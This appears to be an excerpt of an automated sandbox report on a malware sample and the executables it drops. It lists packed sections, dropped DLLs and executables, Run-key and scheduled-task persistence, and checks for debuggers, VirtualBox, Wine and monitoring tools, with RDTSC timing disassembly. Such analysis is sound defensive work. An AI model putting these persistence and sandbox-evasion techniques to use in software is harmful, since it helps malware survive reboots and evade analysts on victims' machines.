Source: random[1].exe.32.dr	Static PE information: section name: hshqlxbi
Source: random[1].exe.32.dr	Static PE information: section name: .taggant
Source: ff628321ee.exe.32.dr	Static PE information: section name:
Source: ff628321ee.exe.32.dr	Static PE information: section name: .idata
Source: ff628321ee.exe.32.dr	Static PE information: section name:
Source: ff628321ee.exe.32.dr	Static PE information: section name: hkhcddam
Source: ff628321ee.exe.32.dr	Static PE information: section name: hshqlxbi
Source: ff628321ee.exe.32.dr	Static PE information: section name: .taggant
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name: .idata
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name: tevjzfjr
Source: random[1].exe0.32.dr	Static PE information: section name: xjqjchyu
Source: random[1].exe0.32.dr	Static PE information: section name: .taggant
Source: ef7381e244.exe.32.dr	Static PE information: section name:
Source: ef7381e244.exe.32.dr	Static PE information: section name: .idata
Source: ef7381e244.exe.32.dr	Static PE information: section name:
Source: ef7381e244.exe.32.dr	Static PE information: section name: tevjzfjr
Source: ef7381e244.exe.32.dr	Static PE information: section name: xjqjchyu
Source: ef7381e244.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_0009D91C push ecx; ret

32_2_0009D92F

Source: file.exe	Static PE information: section name: tevjzfjr entropy: 7.953584813210595
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name: entropy: 7.98570404538177
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name: xecvasfo entropy: 7.954659119617975
Source: random[1].exe.1.dr	Static PE information: section name: lywxyhem entropy: 7.954710385268691
Source: skotes.exe.28.dr	Static PE information: section name: entropy: 7.98570404538177
Source: skotes.exe.28.dr	Static PE information: section name: xecvasfo entropy: 7.954659119617975
Source: dd3583c805.exe.32.dr	Static PE information: section name: lywxyhem entropy: 7.954710385268691
Source: random[1].exe.32.dr	Static PE information: section name: entropy: 7.976173823237391
Source: random[1].exe.32.dr	Static PE information: section name: hkhcddam entropy: 7.9535320422912426
Source: ff628321ee.exe.32.dr	Static PE information: section name: entropy: 7.976173823237391
Source: ff628321ee.exe.32.dr	Static PE information: section name: hkhcddam entropy: 7.9535320422912426
Source: random[1].exe0.32.dr	Static PE information: section name: tevjzfjr entropy: 7.953584813210595
Source: ef7381e244.exe.32.dr	Static PE information: section name: tevjzfjr entropy: 7.953584813210595

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIDGDAKFHI.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Jump to dropped file
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009655001\38e11d9cb7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFIDGDAKFHI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIDGDAKFHI.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ff628321ee.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef7381e244.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIDGDAKFHI.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFIDGDAKFHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ff628321ee.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ff628321ee.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef7381e244.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef7381e244.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: PROCMON.EXE
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: X64DBG.EXE
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: WINDBG.EXE
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD15B second address: 5DD162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD162 second address: 5DD168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD552 second address: 5DD558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD558 second address: 5DD55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD55E second address: 5DD567 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD711 second address: 5DD72C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4BCDD307Dh 0x00000008 jmp 00007FD4BCDD3071h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD88E second address: 5DD8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D4Ah 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007FD4BD4D2D55h 0x00000011 jmp 00007FD4BD4D2D4Fh 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDA1C second address: 5DDA38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4BCDD306Fh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDA38 second address: 5DDA3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDA3C second address: 5DDA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDA48 second address: 5DDA5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BD4D2D4Ch 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0978 second address: 5E097C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BF1 second address: 5E0BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BF8 second address: 5E0C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007FD4BCDD3076h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 je 00007FD4BCDD3074h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0C23 second address: 5E0C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD4BD4D2D46h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov edx, ebx 0x0000000e push 00000003h 0x00000010 movsx edi, di 0x00000013 push 00000000h 0x00000015 or dword ptr [ebp+122D27F8h], ebx 0x0000001b push 00000003h 0x0000001d mov edi, dword ptr [ebp+122D370Ah] 0x00000023 call 00007FD4BD4D2D49h 0x00000028 jmp 00007FD4BD4D2D55h 0x0000002d push eax 0x0000002e jmp 00007FD4BD4D2D4Eh 0x00000033 mov eax, dword ptr [esp+04h] 0x00000037 pushad 0x00000038 jmp 00007FD4BD4D2D4Dh 0x0000003d push eax 0x0000003e push edx 0x0000003f jl 00007FD4BD4D2D46h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0C8D second address: 5E0C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0C91 second address: 5E0CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a jmp 00007FD4BD4D2D51h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jg 00007FD4BD4D2D52h 0x0000001a jnl 00007FD4BD4D2D4Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0CBF second address: 5E0D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 xor edi, 13D9F044h 0x0000000b jnl 00007FD4BCDD307Dh 0x00000011 lea ebx, dword ptr [ebp+12444891h] 0x00000017 ja 00007FD4BCDD3077h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0D0B second address: 5E0D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601F1A second address: 601F22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601F22 second address: 601F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FD4BD4D2D53h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601F56 second address: 601F65 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FD4BCDD3066h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601F65 second address: 601F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFF6B second address: 5FFF7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFF7E second address: 5FFF9C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4BD4D2D48h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a ja 00007FD4BD4D2D4Ah 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFF9C second address: 5FFFB2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FD4BCDD306Ch 0x00000010 rdtsc
